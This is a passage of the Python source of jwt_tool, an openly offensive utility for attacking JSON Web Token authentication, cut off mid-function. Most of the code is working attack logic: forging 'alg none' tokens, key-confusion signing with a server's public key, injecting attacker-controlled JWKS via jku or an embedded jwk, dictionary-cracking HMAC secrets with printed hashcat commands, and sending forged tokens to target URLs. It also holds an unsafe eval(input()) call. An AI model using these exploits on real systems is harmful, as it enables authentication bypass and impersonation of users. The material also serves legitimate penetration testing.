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jwt_tool.py
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#!/usr/bin/env python3
#
# JWT_Tool version 2.1.0 (10_11_2020)
# Written by Andy Tyler (@ticarpi)
# Please use responsibly...
# Software URL: https://github.com/ticarpi/jwt_tool
# Web: https://www.ticarpi.com
# Twitter: @ticarpi
jwttoolvers = "2.1.0"
import ssl
import sys
import os
import re
import hashlib
import hmac
import base64
import json
import random
import argparse
from datetime import datetime
import configparser
from http.cookies import SimpleCookie
from collections import OrderedDict
try:
from Cryptodome.Signature import PKCS1_v1_5, DSS, pss
from Cryptodome.Hash import SHA256, SHA384, SHA512
from Cryptodome.PublicKey import RSA, ECC
except:
print("WARNING: Cryptodome libraries not imported - these are needed for asymmetric crypto signing and verifying")
print("On most Linux systems you can run the following command to install:")
print("python3 -m pip install pycryptodomex\n")
try:
from termcolor import cprint
except:
print("WARNING: termcolor library is not imported - this is used to make the output clearer and oh so pretty")
print("On most Linux systems you can run the following command to install:")
print("python3 -m pip install termcolor\n")
try:
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except:
print("WARNING: Python Requests libraries not imported - these are needed for external service interaction")
print("On most Linux systems you can run the following command to install:")
print("python3 -m pip install requests\n")
# To fix broken colours in Windows cmd/Powershell: uncomment the below two lines. You will need to install colorama: 'python3 -m pip install colorama'
# import colorama
# colorama.init()
def createConfig():
# gen RSA keypair
pubKey, privKey = newRSAKeyPair()
privKeyName = "jwttool_custom_private_RSA.pem"
with open(privKeyName, 'w') as test_priv_out:
test_priv_out.write(privKey.decode())
pubkeyName = "jwttool_custom_public_RSA.pem"
with open(pubkeyName, 'w') as test_pub_out:
test_pub_out.write(pubKey.decode())
# gen EC keypair
ecpubKey, ecprivKey = newECKeyPair()
ecprivKeyName = "jwttool_custom_private_EC.pem"
with open(ecprivKeyName, 'w') as ectest_priv_out:
ectest_priv_out.write(ecprivKey)
ecpubkeyName = "jwttool_custom_public_EC.pem"
with open(ecpubkeyName, 'w') as ectest_pub_out:
ectest_pub_out.write(ecpubKey)
# gen jwks
new_key = RSA.importKey(pubKey)
n = base64.urlsafe_b64encode(new_key.n.to_bytes(256, byteorder='big'))
e = base64.urlsafe_b64encode(new_key.e.to_bytes(3, byteorder='big'))
jwksbuild = buildJWKS(n, e, "jwt_tool")
jwksout = {"keys": []}
jwksout["keys"].append(jwksbuild)
fulljwks = json.dumps(jwksout,separators=(",",":"), indent=4)
jwksName = "jwttool_custom_jwks.json"
with open(jwksName, 'w') as test_jwks_out:
test_jwks_out.write(fulljwks)
jwks_b64 = base64.b64encode(fulljwks.encode('ascii'))
config = configparser.ConfigParser(allow_no_value=True)
config.optionxform = str
config['crypto'] = {'pubkey': pubkeyName,
'privkey': privKeyName,
'ecpubkey': ecpubkeyName,
'ecprivkey': ecprivKeyName,
'jwks': jwksName}
config['services'] = {'jwt_tool_version': jwttoolvers,
'# To disable the proxy option set this value to: False (no quotes)': None, 'proxy': 'localhost:8080',
'# Set this to the URL you are hosting your custom JWKS file (jwttool_custom_jwks.json) - your own server, or maybe use this cheeky reflective URL (https://httpbin.org/base64/{base64-encoded_JWKS_here})': None,
'jwksloc': 'https://httpbin.org/base64/'+jwks_b64.decode(),
'# Set this to the base URL of a Collaborator server, somewhere you can read live logs, a Request Bin etc.': None, 'httplistener': ''}
config['customising'] = {'useragent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) jwt_tool',
'jwks_kid': 'jwt_tool'}
config['input'] = {'wordlist': 'jwt-common.txt',
'commonHeaders': 'common-headers.txt',
'commonPayloads': 'common-payloads.txt'}
config['argvals'] = {'# Set at runtime - changes here are ignored': None,
'sigType': '',
'targetUrl': '',
'cookies': '',
'key': '',
'keyList': '',
'keyFile': '',
'headerLoc': '',
'payloadclaim': '',
'headerclaim': '',
'payloadvalue': '',
'headervalue': '',
'canaryvalue': '',
'header': '',
'exploitType': '',
'scanMode': '',
'reqMode': '',
'postData': '',
'resCode': '',
'resSize': '',
'resContent': ''}
with open(configFileName, 'w') as configfile:
config.write(configfile)
cprint("Configuration file built - review contents of \"jwtconf.ini\" to customise your options.", "cyan")
cprint("Make sure to set the \"httplistener\" value to a URL you can monitor to enable out-of-band checks.", "cyan")
exit(1)
def sendToken(token, cookiedict, track, headertoken=""):
url = config['argvals']['targetUrl']
headers = {'User-agent': config['customising']['useragent']+" "+track}
if headertoken:
for eachHeader in headertoken:
headerName, headerVal = eachHeader.split(":")
headers[headerName] = headerVal.lstrip(" ")
try:
if config['services']['proxy'] == "False":
if config['argvals']['postData']:
response = requests.post(url, data=config['argvals']['postData'], headers=headers, cookies=cookiedict, proxies=False, verify=False)
else:
response = requests.get(url, headers=headers, cookies=cookiedict, proxies=False, verify=False)
else:
proxies = {'http': 'http://'+config['services']['proxy'], 'https': 'http://'+config['services']['proxy']}
if config['argvals']['postData']:
response = requests.post(url, data=config['argvals']['postData'], headers=headers, cookies=cookiedict, proxies=proxies, verify=False)
else:
response = requests.get(url, headers=headers, cookies=cookiedict, proxies=proxies, verify=False)
if int(response.elapsed.total_seconds()) >= 9:
cprint("HTTP response took about 10 seconds or more - could be a sign of a bug or vulnerability", "cyan")
return [response.status_code, len(response.content), response.content]
except requests.exceptions.ProxyError as err:
cprint("[ERROR] ProxyError - check proxy is up and not set to tamper with requests\n"+str(err), "red")
exit(1)
def parse_dict_cookies(value):
cookiedict = {}
for item in value.split(';'):
item = item.strip()
if not item:
continue
if '=' not in item:
cookiedict[item] = None
continue
name, value = item.split('=', 1)
cookiedict[name] = value
return cookiedict
def strip_dict_cookies(value):
cookiestring = ""
for item in value.split(';'):
if re.search('eyJ[A-Za-z0-9_\/+-]*\.eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*', item):
continue
else:
cookiestring += "; "+item
cookiestring = cookiestring.lstrip("; ")
return cookiestring
def jwtOut(token, fromMod, desc=""):
genTime = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
idFrag = genTime+str(token)
logID = "jwttool_"+hashlib.md5(idFrag.encode()).hexdigest()
if config['argvals']['targetUrl'] != "":
curTargetUrl = config['argvals']['targetUrl']
p = re.compile('eyJ[A-Za-z0-9_\/+-]*\.eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*')
if config['argvals']['headerloc'] == "cookies":
cookietoken = p.subn(token, config['argvals']['cookies'], 0)
else:
cookietoken = [config['argvals']['cookies'],0]
if config['argvals']['headerloc'] == "headers":
headertoken = [[],0]
for eachHeader in args.headers:
try:
headerSub = p.subn(token, eachHeader, 0)
headertoken[0].append(headerSub[0])
if headerSub[1] == 1:
headertoken[1] = 1
except:
pass
else:
headertoken = [[],0]
if args.headers:
for eachHeader in args.headers:
headertoken[0].append(eachHeader)
try:
cookiedict = parse_dict_cookies(cookietoken[0])
except:
cookiedict = {}
# Check if token was included in substitution
if cookietoken[1] == 1 or headertoken[1] == 1:
resData = sendToken(token, cookiedict, logID, headertoken[0])
else:
if config['argvals']['overridesub'] == "true":
resData = sendToken(token, cookiedict, logID, headertoken[0])
else:
cprint("[-] No substitution occurred - check that a token is included in a cookie/header in the request", "red")
cprint(headertoken, cookietoken, "cyan")
exit(1)
if config['argvals']['canaryvalue']:
if config['argvals']['canaryvalue'] in str(resData[2]):
cprint("[+] FOUND \""+config['argvals']['canaryvalue']+"\" in response:\n"+logID + " " + fromMod + " Response Code: " + str(resData[0]) + ", " + str(resData[1]) + " bytes", "green")
else:
cprint(logID + " " + fromMod + " Response Code: " + str(resData[0]) + ", " + str(resData[1]) + " bytes", "cyan")
else:
if 200 <= resData[0] < 300:
cprint(logID + " " + fromMod + " Response Code: " + str(resData[0]) + ", " + str(resData[1]) + " bytes", "green")
elif 300 <= resData[0] < 400:
cprint(logID + " " + fromMod + " Response Code: " + str(resData[0]) + ", " + str(resData[1]) + " bytes", "cyan")
elif 400 <= resData[0] < 600:
cprint(logID + " " + fromMod + " Response Code: " + str(resData[0]) + ", " + str(resData[1]) + " bytes", "red")
else:
if desc != "":
cprint(logID+" - "+desc, "cyan")
cprint("[+] "+token, "green")
curTargetUrl = "Not sent"
additional = "[Commandline request: "+' '.join(sys.argv[0:])+']'
setLog(token, genTime, logID, fromMod, curTargetUrl, additional)
try:
config['argvals']['rescode'],config['argvals']['ressize'],config['argvals']['rescontent'] = str(resData[0]),str(resData[1]),str(resData[2])
except:
pass
def setLog(jwt, genTime, logID, modulename, targetURL, additional):
logLine = genTime+" | "+modulename+" | "+targetURL+" | "+additional
with open(logFilename, 'a') as logFile:
logFile.write(logID+" - "+logLine+" - "+jwt+"\n")
return logID
def buildHead(alg, headDict):
newHead = headDict
newHead["alg"] = alg
newHead = base64.urlsafe_b64encode(json.dumps(newHead,separators=(",",":")).encode()).decode('UTF-8').strip("=")
return newHead
def checkNullSig(contents):
jwtNull = contents.decode()+"."
return jwtNull
def checkAlgNone(headDict, paylB64):
alg1 = "none"
newHead1 = buildHead(alg1, headDict)
CVEToken0 = newHead1+"."+paylB64+"."
alg = "None"
newHead = buildHead(alg, headDict)
CVEToken1 = newHead+"."+paylB64+"."
alg = "NONE"
newHead = buildHead(alg, headDict)
CVEToken2 = newHead+"."+paylB64+"."
alg = "nOnE"
newHead = buildHead(alg, headDict)
CVEToken3 = newHead+"."+paylB64+"."
return [CVEToken0, CVEToken1, CVEToken2, CVEToken3]
def checkPubKeyExploit(headDict, paylB64, pubKey):
try:
key = open(pubKey).read()
cprint("File loaded: "+pubKey, "cyan")
except:
cprint("[-] File not found", "red")
exit(1)
newHead = headDict
newHead["alg"] = "HS256"
newHead = base64.urlsafe_b64encode(json.dumps(headDict,separators=(",",":")).encode()).decode('UTF-8').strip("=")
newTok = newHead+"."+paylB64
newSig = base64.urlsafe_b64encode(hmac.new(key.encode(),newTok.encode(),hashlib.sha256).digest()).decode('UTF-8').strip("=")
return newTok, newSig
def injectpayloadclaim(payloadclaim, injectionvalue):
newpaylDict = paylDict
newpaylDict[payloadclaim] = castInput(injectionvalue)
newPaylB64 = base64.urlsafe_b64encode(json.dumps(newpaylDict,separators=(",",":")).encode()).decode('UTF-8').strip("=")
return newpaylDict, newPaylB64
def injectheaderclaim(headerclaim, injectionvalue):
newheadDict = headDict
newheadDict[headerclaim] = castInput(injectionvalue)
newHeadB64 = base64.urlsafe_b64encode(json.dumps(newheadDict,separators=(",",":")).encode()).decode('UTF-8').strip("=")
return newheadDict, newHeadB64
def tamperToken(paylDict, headDict, sig):
print("\n====================================================================\nThis option allows you to tamper with the header, contents and \nsignature of the JWT.\n====================================================================")
print("\nToken header values:")
while True:
i = 0
headList = [0]
for pair in headDict:
menuNum = i+1
if isinstance(headDict[pair], dict):
cprint("["+str(menuNum)+"] "+pair+" = JSON object:", "green")
for subclaim in headDict[pair]:
cprint(" [+] "+subclaim+" = "+str(headDict[pair][subclaim]), "green")
else:
if type(headDict[pair]) == str:
cprint("["+str(menuNum)+"] "+pair+" = \""+str(headDict[pair])+"\"", "green")
else:
cprint("["+str(menuNum)+"] "+pair+" = "+str(headDict[pair]), "green")
headList.append(pair)
i += 1
print("["+str(i+1)+"] *ADD A VALUE*")
print("["+str(i+2)+"] *DELETE A VALUE*")
print("[0] Continue to next step")
selection = ""
print("\nPlease select a field number:\n(or 0 to Continue)")
try:
selection = int(input("> "))
except:
print("Invalid selection")
exit(1)
if selection<len(headList) and selection>0:
if isinstance(headDict[headList[selection]], dict):
print("\nPlease select a sub-field number for the "+pair+" claim:\n(or 0 to Continue)")
newVal = OrderedDict()
for subclaim in headDict[headList[selection]]:
newVal[subclaim] = headDict[pair][subclaim]
newVal = buildSubclaim(newVal, headList, selection)
headDict[headList[selection]] = newVal
else:
print("\nCurrent value of "+headList[selection]+" is: "+str(headDict[headList[selection]]))
print("Please enter new value and hit ENTER")
newVal = input("> ")
headDict[headList[selection]] = castInput(newVal)
elif selection == i+1:
print("Please enter new Key and hit ENTER")
newPair = input("> ")
print("Please enter new value for "+newPair+" and hit ENTER")
newInput = input("> ")
headList.append(newPair)
headDict[headList[selection]] = castInput(newInput)
elif selection == i+2:
print("Please select a Key to DELETE and hit ENTER")
i = 0
for pair in headDict:
menuNum = i+1
print("["+str(menuNum)+"] "+pair+" = "+str(headDict[pair]))
headList.append(pair)
i += 1
try:
delPair = int(input("> "))
except:
print("Invalid selection")
exit(1)
del headDict[headList[delPair]]
elif selection == 0:
break
else:
exit(1)
print("\nToken payload values:")
while True:
comparestamps, expiredtoken = dissectPayl(paylDict, count=True)
i = 0
paylList = [0]
for pair in paylDict:
menuNum = i+1
paylList.append(pair)
i += 1
print("["+str(i+1)+"] *ADD A VALUE*")
print("["+str(i+2)+"] *DELETE A VALUE*")
if len(comparestamps) > 0:
print("["+str(i+3)+"] *UPDATE TIMESTAMPS*")
print("[0] Continue to next step")
selection = ""
print("\nPlease select a field number:\n(or 0 to Continue)")
try:
selection = int(input("> "))
except:
print("Invalid selection")
exit(1)
if selection<len(paylList) and selection>0:
if isinstance(paylDict[paylList[selection]], dict):
print("\nPlease select a sub-field number for the "+str(paylList[selection])+" claim:\n(or 0 to Continue)")
newVal = OrderedDict()
for subclaim in paylDict[paylList[selection]]:
newVal[subclaim] = paylDict[paylList[selection]][subclaim]
newVal = buildSubclaim(newVal, paylList, selection)
paylDict[paylList[selection]] = newVal
else:
print("\nCurrent value of "+paylList[selection]+" is: "+str(paylDict[paylList[selection]]))
print("Please enter new value and hit ENTER")
newVal = input("> ")
paylDict[paylList[selection]] = castInput(newVal)
elif selection == i+1:
print("Please enter new Key and hit ENTER")
newPair = input("> ")
print("Please enter new value for "+newPair+" and hit ENTER")
newVal = input("> ")
try:
newVal = int(newVal)
except:
pass
paylList.append(newPair)
paylDict[paylList[selection]] = castInput(newVal)
elif selection == i+2:
print("Please select a Key to DELETE and hit ENTER")
i = 0
for pair in paylDict:
menuNum = i+1
print("["+str(menuNum)+"] "+pair+" = "+str(paylDict[pair]))
paylList.append(pair)
i += 1
delPair = eval(input("> "))
del paylDict[paylList[delPair]]
elif selection == i+3:
print("Timestamp updating:")
print("[1] Update earliest timestamp to current time (keeping offsets)")
print("[2] Add 1 hour to timestamps")
print("[3] Add 1 day to timestamps")
print("[4] Remove 1 hour from timestamps")
print("[5] Remove 1 day from timestamps")
print("\nPlease select an option from above (1-5):")
try:
selection = int(input("> "))
except:
print("Invalid selection")
exit(1)
if selection == 1:
nowtime = int(datetime.now().timestamp())
timecomp = {}
for timestamp in comparestamps:
timecomp[timestamp] = paylDict[timestamp]
earliest = min(timecomp, key=timecomp.get)
earlytime = paylDict[earliest]
for timestamp in comparestamps:
if timestamp == earliest:
paylDict[timestamp] = nowtime
else:
difftime = int(paylDict[timestamp])-int(earlytime)
paylDict[timestamp] = nowtime+difftime
elif selection == 2:
for timestamp in comparestamps:
newVal = int(paylDict[timestamp])+3600
paylDict[timestamp] = newVal
elif selection == 3:
for timestamp in comparestamps:
newVal = int(paylDict[timestamp])+86400
paylDict[timestamp] = newVal
elif selection == 4:
for timestamp in comparestamps:
newVal = int(paylDict[timestamp])-3600
paylDict[timestamp] = newVal
elif selection == 5:
for timestamp in comparestamps:
newVal = int(paylDict[timestamp])-86400
paylDict[timestamp] = newVal
else:
print("Invalid selection")
exit(1)
elif selection == 0:
break
else:
exit(1)
if config['argvals']['sigType'] == "" and config['argvals']['exploitType'] == "":
cprint("Signature unchanged - no signing method specified (-S or -X)", "cyan")
newContents = genContents(headDict, paylDict)
desc = "Tampered token:"
jwtOut(newContents+"."+sig, "Manual Tamper - original signature", desc)
elif config['argvals']['exploitType'] != "":
runExploits()
elif config['argvals']['sigType'] != "":
signingToken(headDict, paylDict)
def signingToken(newheadDict, newpaylDict):
if config['argvals']['sigType'][0:2] == "hs":
key = ""
if args.password:
key = config['argvals']['key']
elif args.keyfile:
key = open(config['argvals']['keyFile']).read()
newSig, newContents = signTokenHS(newheadDict, newpaylDict, key, int(config['argvals']['sigType'][2:]))
desc = "Tampered token - HMAC Signing:"
jwtOut(newContents+"."+newSig, "Manual Tamper - HMAC Signing", desc)
elif config['argvals']['sigType'][0:2] == "rs":
newSig, newContents = signTokenRSA(newheadDict, newpaylDict, config['crypto']['privkey'], int(config['argvals']['sigType'][2:]))
desc = "Tampered token - RSA Signing:"
jwtOut(newContents+"."+newSig, "Manual Tamper - RSA Signing", desc)
elif config['argvals']['sigType'][0:2] == "ec":
newSig, newContents = signTokenEC(newheadDict, newpaylDict, config['crypto']['ecprivkey'], int(config['argvals']['sigType'][2:]))
desc = "Tampered token - EC Signing:"
jwtOut(newContents+"."+newSig, "Manual Tamper - EC Signing", desc)
elif config['argvals']['sigType'][0:2] == "ps":
newSig, newContents = signTokenPSS(newheadDict, newpaylDict, config['crypto']['privkey'], int(config['argvals']['sigType'][2:]))
desc = "Tampered token - PSS RSA Signing:"
jwtOut(newContents+"."+newSig, "Manual Tamper - PSS RSA Signing", desc)
def checkSig(sig, contents, key):
quiet = False
if key == "":
print("Type in the key to test")
key = input("> ")
testKey(key.encode(), sig, contents, headDict, quiet)
def checkSigKid(sig, contents):
quiet = False
print("\nLoading key file...")
try:
key1 = open(config['argvals']['keyFile']).read()
cprint("File loaded: "+config['argvals']['keyFile'], "cyan")
testKey(key1.encode(), sig, contents, headDict, quiet)
except:
cprint("Could not load key file", "red")
exit(1)
def crackSig(sig, contents):
quiet = True
if headDict["alg"][0:2] != "HS":
print("Algorithm is not HMAC-SHA - cannot test against passwords, try the Verify function.")
return
# print("\nLoading key dictionary...")
try:
# cprint("File loaded: "+config['argvals']['keyList'], "cyan")
keyLst = open(config['argvals']['keyList'], "r", encoding='utf-8', errors='ignore')
nextKey = keyLst.readline()
except:
cprint("No dictionary file loaded", "red")
exit(1)
# print("Testing passwords in dictionary...")
utf8errors = 0
wordcount = 0
while nextKey:
wordcount += 1
try:
cracked = testKey(nextKey.strip().encode('UTF-8'), sig, contents, headDict, quiet)
except:
cracked = False
if not cracked:
if wordcount % 1000000 == 0:
cprint("[*] Tested "+str(int(wordcount/1000000))+" million passwords so far", "cyan")
try:
nextKey = keyLst.readline()
except:
utf8errors += 1
nextKey = keyLst.readline()
else:
return
if cracked == False:
cprint("[-] Key not in dictionary", "red")
if not args.mode:
cprint("\n===============================\nAs your list wasn't able to crack this token you might be better off using longer dictionaries, custom dictionaries, mangling rules, or brute force attacks.\nhashcat (https://hashcat.net/hashcat/) is ideal for this as it is highly optimised for speed. Just add your JWT to a text file, then use the following syntax to give you a good start:\n\n[*] dictionary attacks: hashcat -a 0 -m 16500 jwt.txt passlist.txt\n[*] rule-based attack: hashcat -a 0 -m 16500 jwt.txt passlist.txt -r rules/best64.rule\n[*] brute-force attack: hashcat -a 3 -m 16500 jwt.txt ?u?l?l?l?l?l?l?l -i --increment-min=6\n===============================\n", "cyan")
if utf8errors > 0:
cprint(utf8errors, " UTF-8 incompatible passwords skipped", "cyan")
def castInput(newInput):
if "{" in str(newInput):
try:
jsonInput = json.loads(newInput)
return jsonInput
except ValueError:
pass
if "\"" in str(newInput):
return newInput.strip("\"")
elif newInput == "True" or newInput == "true":
return True
elif newInput == "False" or newInput == "false":
return False
elif newInput == "null":
return None
else:
try:
numInput = float(newInput)
try:
intInput = int(newInput)
return intInput
except:
return numInput
except:
return str(newInput)
return newInput
def buildSubclaim(newVal, claimList, selection):
while True:
subList = [0]
s = 0
for subclaim in newVal:
subNum = s+1
print("["+str(subNum)+"] "+subclaim+" = "+str(newVal[subclaim]))
s += 1
subList.append(subclaim)
print("["+str(s+1)+"] *ADD A VALUE*")
print("["+str(s+2)+"] *DELETE A VALUE*")
print("[0] Continue to next step")
try:
subSel = int(input("> "))
except:
print("Invalid selection")
exit(1)
if subSel<=len(newVal) and subSel>0:
selClaim = subList[subSel]
print("\nCurrent value of "+selClaim+" is: "+str(newVal[selClaim]))
print("Please enter new value and hit ENTER")
newVal[selClaim] = castInput(input("> "))
print()
elif subSel == s+1:
print("Please enter new Key and hit ENTER")
newPair = input("> ")
print("Please enter new value for "+newPair+" and hit ENTER")
newVal[newPair] = castInput(input("> "))
elif subSel == s+2:
print("Please select a Key to DELETE and hit ENTER")
s = 0
for subclaim in newVal:
subNum = s+1
print("["+str(subNum)+"] "+subclaim+" = "+str(newVal[subclaim]))
subList.append(subclaim)
s += 1
try:
selSub = int(input("> "))
except:
print("Invalid selection")
exit(1)
delSub = subList[selSub]
del newVal[delSub]
elif subSel == 0:
return newVal
def testKey(key, sig, contents, headDict, quiet):
if headDict["alg"] == "HS256":
testSig = base64.urlsafe_b64encode(hmac.new(key,contents,hashlib.sha256).digest()).decode('UTF-8').strip("=")
elif headDict["alg"] == "HS384":
testSig = base64.urlsafe_b64encode(hmac.new(key,contents,hashlib.sha384).digest()).decode('UTF-8').strip("=")
elif headDict["alg"] == "HS512":
testSig = base64.urlsafe_b64encode(hmac.new(key,contents,hashlib.sha512).digest()).decode('UTF-8').strip("=")
else:
print("Algorithm is not HMAC-SHA - cannot test with this tool.")
exit(1)
if testSig == sig:
cracked = True
if len(key) > 25:
cprint("[+] CORRECT key found:\n"+key.decode('UTF-8'), "green")
else:
cprint("[+] "+key.decode('UTF-8')+" is the CORRECT key!", "green")
cprint("You can tamper/fuzz the token contents (-T/-I) and sign it using:\npython3 jwt_tool.py [options here] -S "+str(headDict["alg"])+" -p \""+key.decode('UTF-8')+"\"", "cyan")
return cracked
else:
cracked = False
if quiet == False:
if len(key) > 25:
cprint("[-] "+key[0:25].decode('UTF-8')+"...(output trimmed) is not the correct key", "red")
else:
cprint("[-] "+key.decode('UTF-8')+" is not the correct key", "red")
return cracked
def getRSAKeyPair():
#config['crypto']['pubkey'] = config['crypto']['pubkey']
privkey = config['crypto']['privkey']
cprint("key: "+privkey, "cyan")
privKey = RSA.importKey(open(privkey).read())
pubKey = privKey.publickey().exportKey("PEM")
#config['crypto']['pubkey'] = RSA.importKey(config['crypto']['pubkey'])
return pubKey, privKey
def newRSAKeyPair():
new_key = RSA.generate(2048, e=65537)
pubKey = new_key.publickey().exportKey("PEM")
privKey = new_key.exportKey("PEM")
return pubKey, privKey
def newECKeyPair():
new_key = ECC.generate(curve='P-256')
pubkey = new_key.public_key().export_key(format="PEM")
privKey = new_key.export_key(format="PEM")
return pubkey, privKey
def signTokenHS(headDict, paylDict, key, hashLength):
newHead = headDict
newHead["alg"] = "HS"+str(hashLength)
if hashLength == 384:
newContents = genContents(newHead, paylDict)
newSig = base64.urlsafe_b64encode(hmac.new(key.encode(),newContents.encode(),hashlib.sha384).digest()).decode('UTF-8').strip("=")
elif hashLength == 512:
newContents = genContents(newHead, paylDict)
newSig = base64.urlsafe_b64encode(hmac.new(key.encode(),newContents.encode(),hashlib.sha512).digest()).decode('UTF-8').strip("=")
else:
newContents = genContents(newHead, paylDict)
newSig = base64.urlsafe_b64encode(hmac.new(key.encode(),newContents.encode(),hashlib.sha256).digest()).decode('UTF-8').strip("=")
return newSig, newContents
def buildJWKS(n, e, kid):
newjwks = {}
newjwks["kty"] = "RSA"
newjwks["kid"] = kid
newjwks["use"] = "sig"
newjwks["e"] = str(e.decode('UTF-8'))
newjwks["n"] = str(n.decode('UTF-8').rstrip("="))
return newjwks
def jwksGen(headDict, paylDict, jku, privKey, kid="jwt_tool"):
newHead = headDict
nowtime = str(int(datetime.now().timestamp()))
key = RSA.importKey(open(config['crypto']['privkey']).read())
pubKey = key.publickey().exportKey("PEM")
privKey = key.export_key(format="PEM")
new_key = RSA.importKey(pubKey)
n = base64.urlsafe_b64encode(new_key.n.to_bytes(256, byteorder='big'))
e = base64.urlsafe_b64encode(new_key.e.to_bytes(3, byteorder='big'))
privKeyName = config['crypto']['privkey']
newjwks = buildJWKS(n, e, kid)
newHead["jku"] = jku
newHead["alg"] = "RS256"
key = RSA.importKey(privKey)
newContents = genContents(newHead, paylDict)
newContents = newContents.encode('UTF-8')
h = SHA256.new(newContents)
signer = PKCS1_v1_5.new(key)
try:
signature = signer.sign(h)
except:
print("Invalid Private Key")
exit(1)
newSig = base64.urlsafe_b64encode(signature).decode('UTF-8').strip("=")
jwksout = json.dumps(newjwks,separators=(",",":"), indent=4)
jwksbuild = {"keys": []}
jwksbuild["keys"].append(newjwks)
fulljwks = json.dumps(jwksbuild,separators=(",",":"), indent=4)
if config['crypto']['jwks'] == "":
jwksName = "jwks_jwttool_RSA_"+nowtime+".json"
with open(jwksName, 'w') as test_jwks_out:
test_jwks_out.write(fulljwks)
else:
jwksName = config['crypto']['jwks']
return newSig, newContents.decode('UTF-8'), jwksout, privKeyName, jwksName, fulljwks
def jwksEmbed(newheadDict, newpaylDict):
newHead = newheadDict
pubKey, privKey = getRSAKeyPair()
new_key = RSA.importKey(pubKey)
n = base64.urlsafe_b64encode(new_key.n.to_bytes(256, byteorder='big'))
e = base64.urlsafe_b64encode(new_key.e.to_bytes(3, byteorder='big'))
newjwks = buildJWKS(n, e, "jwt_tool")
newHead["jwk"] = newjwks
newHead["alg"] = "RS256"
key = privKey
# key = RSA.importKey(privKey)
newContents = genContents(newHead, newpaylDict)
newContents = newContents.encode('UTF-8')
h = SHA256.new(newContents)
signer = PKCS1_v1_5.new(key)
try:
signature = signer.sign(h)
except:
cprint("Invalid Private Key", "red")
exit(1)
newSig = base64.urlsafe_b64encode(signature).decode('UTF-8').strip("=")
return newSig, newContents.decode('UTF-8')
def signTokenRSA(headDict, paylDict, privKey, hashLength):
newHead = headDict
newHead["alg"] = "RS"+str(hashLength)
key = RSA.importKey(open(config['crypto']['privkey']).read())
newContents = genContents(newHead, paylDict)
newContents = newContents.encode('UTF-8')
if hashLength == 256:
h = SHA256.new(newContents)
elif hashLength == 384:
h = SHA384.new(newContents)
elif hashLength == 512:
h = SHA512.new(newContents)
else:
cprint("Invalid RSA hash length", "red")
exit(1)
signer = PKCS1_v1_5.new(key)
try:
signature = signer.sign(h)
except:
cprint("Invalid Private Key", "red")
exit(1)
newSig = base64.urlsafe_b64encode(signature).decode('UTF-8').strip("=")
return newSig, newContents.decode('UTF-8')
def signTokenEC(headDict, paylDict, privKey, hashLength):
newHead = headDict
newHead["alg"] = "ES"+str(hashLength)
key = ECC.import_key(open(config['crypto']['ecprivkey']).read())
newContents = genContents(newHead, paylDict)
newContents = newContents.encode('UTF-8')
if hashLength == 256:
h = SHA256.new(newContents)
elif hashLength == 384:
h = SHA384.new(newContents)
elif hashLength == 512:
h = SHA512.new(newContents)
else:
cprint("Invalid hash length", "red")
exit(1)
signer = DSS.new(key, 'fips-186-3')
try:
signature = signer.sign(h)
except:
cprint("Invalid Private Key", "red")
exit(1)
newSig = base64.urlsafe_b64encode(signature).decode('UTF-8').strip("=")
return newSig, newContents.decode('UTF-8')
def signTokenPSS(headDict, paylDict, privKey, hashLength):
newHead = headDict
newHead["alg"] = "PS"+str(hashLength)
key = RSA.importKey(open(config['crypto']['privkey']).read())
newContents = genContents(newHead, paylDict)
newContents = newContents.encode('UTF-8')
if hashLength == 256:
h = SHA256.new(newContents)
elif hashLength == 384:
h = SHA384.new(newContents)
elif hashLength == 512:
h = SHA512.new(newContents)
else:
cprint("Invalid RSA hash length", "red")
exit(1)
try:
signature = pss.new(key).sign(h)
except:
cprint("Invalid Private Key", "red")
exit(1)
newSig = base64.urlsafe_b64encode(signature).decode('UTF-8').strip("=")
return newSig, newContents.decode('UTF-8')
def verifyTokenRSA(headDict, paylDict, sig, pubKey):
key = RSA.importKey(open(pubKey).read())
newContents = genContents(headDict, paylDict)
newContents = newContents.encode('UTF-8')
if "-" in sig:
try:
sig = base64.urlsafe_b64decode(sig)
except:
pass
try:
sig = base64.urlsafe_b64decode(sig+"=")
except:
pass
try:
sig = base64.urlsafe_b64decode(sig+"==")
except:
pass
elif "+" in sig:
try:
sig = base64.b64decode(sig)
except:
pass
try:
sig = base64.b64decode(sig+"=")
except:
pass
try:
sig = base64.b64decode(sig+"==")
except:
pass
else:
cprint("Signature not Base64 encoded HEX", "red")
if headDict['alg'] == "RS256":
h = SHA256.new(newContents)
elif headDict['alg'] == "RS384":
h = SHA384.new(newContents)
elif headDict['alg'] == "RS512":
h = SHA512.new(newContents)
else:
cprint("Invalid RSA algorithm", "red")
verifier = PKCS1_v1_5.new(key)
try:
valid = verifier.verify(h, sig)
if valid:
cprint("RSA Signature is VALID", "green")
valid = True
else:
cprint("RSA Signature is INVALID", "red")
valid = False
except:
cprint("The Public Key is invalid", "red")
return valid
def verifyTokenEC(headDict, paylDict, sig, pubKey):
newContents = genContents(headDict, paylDict)
message = newContents.encode('UTF-8')
if "-" in str(sig):
try:
signature = base64.urlsafe_b64decode(sig)
except:
pass
try:
signature = base64.urlsafe_b64decode(sig+"=")
except:
pass
try:
signature = base64.urlsafe_b64decode(sig+"==")
except:
pass
elif "+" in str(sig):
try:
signature = base64.b64decode(sig)
except:
pass
try:
signature = base64.b64decode(sig+"=")
except:
pass
try:
signature = base64.b64decode(sig+"==")
except:
pass
else:
cprint("Signature not Base64 encoded HEX", "red")
if headDict['alg'] == "ES256":
h = SHA256.new(message)
elif headDict['alg'] == "ES384":
h = SHA384.new(message)
elif headDict['alg'] == "ES512":
h = SHA512.new(message)
else:
cprint("Invalid ECDSA algorithm", "red")
pubkey = open(pubKey, "r")
pub_key = ECC.import_key(pubkey.read())
verifier = DSS.new(pub_key, 'fips-186-3')
try:
verifier.verify(h, signature)
cprint("ECC Signature is VALID", "green")
valid = True
except:
cprint("ECC Signature is INVALID", "red")
valid = False
return valid
def verifyTokenPSS(headDict, paylDict, sig, pubKey):
key = RSA.importKey(open(pubKey).read())
newContents = genContents(headDict, paylDict)
newContents = newContents.encode('UTF-8')
if "-" in sig:
try:
sig = base64.urlsafe_b64decode(sig)
except:
pass
try:
sig = base64.urlsafe_b64decode(sig+"=")
except:
